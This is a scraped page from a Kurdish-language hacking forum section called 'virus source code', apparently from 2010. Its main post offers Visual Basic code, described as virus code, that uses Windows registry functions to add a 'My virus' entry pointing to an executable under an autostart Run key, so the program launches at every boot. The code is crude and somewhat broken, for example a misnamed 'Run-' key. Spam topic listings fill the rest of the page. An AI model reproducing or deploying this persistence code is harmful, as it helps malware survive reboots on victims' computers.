HomeFAQ - Pirs û BersîvBigereBikarhêner LîsteBikarhêner GrûpXwe register bikeTêkeve
tébini j beri tu xu tomar bkey malpéré 24buzz yé taybete b babetén kompyoteri u interneté U mobailé nhényén wan anko to ç beşén rewşenbiri d malperé me da na bibi ....... dgel réz grtné
Untitled Document

tu ç navé nımbuzzı lvé boşayé bdey dé wéné wı bini yé profaıli

get avatar nimbuzz

Bigere
 
 

Display results as :
 
Rechercher Advanced Search
Latest topics
» Gucci Tasche
Tue Jan 22, 2013 1:42 am by cangliang

» Gucci Auslauf
Tue Jan 22, 2013 1:41 am by cangliang

» Gucci Handtaschen 2012
Tue Jan 22, 2013 1:39 am by cangliang

» Hermes Kerchief On Sale
Thu Jan 17, 2013 8:08 pm by cangliang

» hermes Constance Bags
Thu Jan 17, 2013 8:06 pm by cangliang

» Hermes Jypsiere Bag
Thu Jan 17, 2013 8:04 pm by cangliang

» Hermes Jypsiere
Mon Jan 14, 2013 6:01 pm by cangliang

» Cheap Hermes Belts
Mon Jan 14, 2013 6:00 pm by cangliang

» Discounted Christian Louboutin
Fri Jan 11, 2013 8:44 pm by cangliang

Kî li vir e?
Bi giştî niha 2 bikarhêner li vir in: Qet qeydkirî tune, ne veşartî û 2 mêvanan.

Ne/Tune

Rekora beşdarbûna 57 bikarhêneran di roja Thu Aug 10, 2017 2:22 pm.
Top posters
alhoye-sheve (152)
 
Sparta! (38)
 
شبابى_بروشكى (32)
 
شبح__الاسود (30)
 
SHANAZI (30)
 
jerseysyin (21)
 
vin dar (21)
 
duhok7 (20)
 
مافيا (15)
 
cangliang (11)
 
Christian Louboutins Women Shoes
Fri Jan 11, 2013 8:43 pm by cangliang
Christian Louboutin, the iconic brand for footwear, could be the grasp in each of the a few segments, womens sneakers and unisex shoes. Next are a …

Comments: 0
LİNK
Bsêr Hatêyîn rastîyêt avîndara..Petêkani joan u gelek babetén di

CLICK

seredan

Share | 
 

 code vairus _W32

Vegere ser mijara dawî Mijara din bibîne Go down 
NivîskarNûçe
alhoye-sheve
[woner]
[woner]
avatar

Hejmara Nûçeyan : 152
Points : 474
demé tomarkné : 2010-08-29
Age : 30
Welat : kurdistan

MesajSernav: code vairus _W32   Wed Sep 15, 2010 7:28 am

Option Explicit



Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long

Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long






Av kode lser kodén bery vi téte zédekrn j wé çendé hema kompiyuter hate helkrn vairus ji dé karé xu ket

Private Const REG_SZ = 1

Private Const LOCALMACHINE = &H80000002

Private Sub Command1_Click()

Dim InputValue As String

Dim nBufferKey As Long, nBufferSubKey As Long

RegCreateKey LOCALMACHINE, "SOFTWARE\JPRODUCTIONS", nBufferKey

RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersion", nBufferKey

RegOpenKey nBufferKey, "Run-", nBufferSubKey

InputValue = "c:\windows\system\Project12.exe"

RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersion", nBufferKey

RegOpenKey nBufferKey, "Run-", nBufferSubKey

RegSetValueEx nBufferSubKey, "My virus", 0, REG_SZ, InputValue, Len(InputValue)
Vegere jor Go down
Profîla bikarhênerê bibîne http://24buzz.natars.org
 

code vairus _W32

Vegere ser mijara dawî Mijara din bibîne Vegere jor 
Rûpel 1 ji 1

Permissions in this forum:Tu nikarî bersîv bide ser mesajên li ser vê forumê.
 :: hacker :: virus source code.-
Free forum | © phpBB | Free forum support | Kontakt | Report an abuse | Have a free blog with Sosblogs